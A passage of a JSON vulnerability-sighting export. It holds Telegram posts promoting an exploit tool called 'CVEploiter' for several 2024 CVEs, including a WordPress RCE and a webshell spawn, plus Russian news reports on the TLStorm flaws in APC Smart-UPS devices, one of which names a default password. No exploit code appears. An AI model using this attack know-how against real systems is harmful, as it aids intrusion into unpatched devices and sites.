"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1397", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-03-19T16:05:55.000000Z"}, {"uuid": "63c6d0e8-6f4d-419d-ae94-ca8803d12774", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1380", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-02-23T22:03:27.000000Z"}, {"uuid": "79b42707-a98a-475c-b2a5-1f8febbf316f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0715", "type": "seen", "source": "https://t.me/true_secator/2711", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Armis \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 0-day \u0432 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0434\u043e\u0447\u0435\u0440\u043d\u0435\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Schneider Electric - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f APC SmartConnect \u0438 Smart-UPS, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a TLStorm, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438 \u0431\u0435\u0441\u043f\u0435\u0440\u0435\u0431\u043e\u0439\u043d\u043e\u0433\u043e \u043f\u0438\u0442\u0430\u043d\u0438\u044f (UPS).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b APC Smart-UPS \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b \u0432 \u0441\u0430\u043c\u044b\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0444\u0435\u0440\u0430\u0445 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0433\u043e\u0441\u0441\u0435\u043a\u0442\u043e\u0440, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c, \u0418\u0422 \u0438 \u0441\u0444\u0435\u0440\u0430 \u0442\u043e\u0440\u0433\u043e\u0432\u043b\u0438. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0418\u0411\u041f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u044e\u0442 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043f\u0438\u0442\u0430\u043d\u0438\u044f \u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0446\u0435\u043d\u0442\u0440\u044b \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u0431\u043e\u043b\u044c\u043d\u0438\u0446\u044b \u0438 \u043f\u0440.\n\n\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, CVE-2022-22805 \u0438 CVE-2022-22806, \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 TLS (Transport Layer Security), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Smart-UPS \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 SmartConnect \u043a \u043e\u0431\u043b\u0430\u043a\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f Schneider Electric.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 TLS \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0432 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a \u0441 \u043d\u0443\u043b\u0435\u0432\u044b\u043c \u0449\u0435\u043b\u0447\u043a\u043e\u043c. \u041e\u0434\u043d\u0430 \u0438\u0437 \u043e\u0448\u0438\u0431\u043e\u043a \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0434\u0440\u0443\u0433\u0430\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044e \u043f\u0430\u043c\u044f\u0442\u0438. \u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0437\u0432\u0430\u043d\u044b \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0448\u0438\u0431\u043e\u043a TLS \u0432 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u043e\u0442 Smart-UPS \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Schneider Electric, \u0438 \u043f\u0440\u0438 \u0434\u043e\u043b\u0436\u043d\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n\u0422\u0440\u0435\u0442\u044c\u044f, CVE-2022-0715, \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 APC Smart-UPS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0438 \u0435\u0435 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043c\u0438\u043a\u0440\u043e\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0430, \u0432 \u043d\u0435\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u044c, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0435\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0435\u0435 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0418\u0411\u041f \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (RCE). \n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Armis \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 APC, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u043f\u0440\u0438\u043d\u044f\u0442\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 Smart-UPS \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0418\u0411\u041f APC \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 8 \u0438\u0437 10 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 (\u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Armis), \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0440\u0435\u0434\u0430\u0445 (\u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u0438\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u0441\u0435\u0442\u044c \u0410\u0421\u0423 \u0422\u041f, \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0435 \u043f\u043e\u043c\u0435\u0449\u0435\u043d\u0438\u044f), \u0430\u0442\u0430\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0447\u0438\u043d\u0438\u0442\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0439 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0449\u0435\u0440\u0431.\n\n\u0414\u043b\u044f \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430 \u0443\u0433\u0440\u043e\u0437 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Armis \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043d\u0430 \u0432\u0438\u0434\u0435\u043e, \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c.\n\n\u041d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u043f\u043e\u043b\u043d\u044b\u043c \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043e\u0442\u0447\u0435\u0442\u043e\u043c \u0438 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0418\u0411\u041f: \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u041f\u0421\u0423 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e (apc) \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 SSL \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043f\u0438\u0441\u043a\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c (ACL).", "creation_timestamp": "2022-03-09T15:30:00.000000Z"}, {"uuid": "4e3978b1-579f-493a-a5c5-f1b98abb2bd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0715", "type": "exploited", "source": "https://t.me/NeKaspersky/1964", "content": "\u0422\u0440\u0438 \u043d\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 APC Smart-UPS \u0441\u0442\u0430\u0432\u044f\u0442 \u043f\u043e\u0434 \u0443\u0434\u0430\u0440 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\n\n\u041a\u0430\u043a \u0437\u0430\u044f\u0432\u043b\u044f\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Armis, \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0442\u0440\u0438 \u043d\u043e\u0432\u044b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u0445 \u0431\u0435\u0441\u043f\u0435\u0440\u0435\u0431\u043e\u0439\u043d\u043e\u0433\u043e \u043f\u0438\u0442\u0430\u043d\u0438\u044f APC. \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Smart-UPS \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u044d\u043a\u0441\u0442\u0440\u0435\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u043a \u043d\u0430 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0442\u0430\u043a \u0438 \u043d\u0430 \u0418\u0422-\u0430\u043a\u0442\u0438\u0432\u044b.\n\n\u0421\u0430\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 TLStorm \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 APC Smart-UPS (\u0441\u0435\u0440\u0438\u0438 SCL, SMX, SRT) \u0438 SmartConnect (\u0441\u0435\u0440\u0438\u0438 SMT, SMTL, SCL \u0438 SMX), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 \u0441\u0444\u0435\u0440\u0430\u0445 \u0442\u043e\u0440\u0433\u043e\u0432\u043b\u0438, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, IT, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0438 \u0434\u0440. \u041a\u0430\u043a \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0430\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043e\u0431\u044a\u0435\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a APC \u0443\u0436\u0435 \u043f\u0440\u0435\u0432\u044b\u0441\u0438\u043b 20 \u043c\u043b\u043d \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b \u043f\u043e\u0447\u0442\u0438 \u0434\u043b\u044f 80 \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445. \n\n\u0410 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 APC Smart-UPS \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c TLStorm \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0433\u043e-\u043b\u0438\u0431\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u0412 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u0447\u0435\u0433\u043e \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (RCE) \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u0447\u0442\u043e\u0431\u044b \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0442\u044c \u0441\u0430\u043c\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c \u0430\u043a\u0442\u0438\u0432\u044b.\n\n\u041f\u0435\u0440\u0432\u044b\u0435 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f TLS \u043c\u0435\u0436\u0434\u0443 \u0418\u0411\u041f \u0438 \u043e\u0431\u043b\u0430\u043a\u043e\u043c Schneider Electric. \u0423\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u0435\u0440\u0438\u0438 SmartConnect \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u0440\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u043a \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u0443. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u043d\u0430 UPS \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432. CVE-2022-22805 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0437\u0430 \u0441\u0447\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u0434\u0435 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u044e\u0449\u0438\u0445 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439. \u0410 CVE-2022-22806 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u0443\u0436\u0435 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 TLS-\u0441\u0435\u0430\u043d\u0441\u0430, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u043f\u0440\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2022-0715) \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u043c 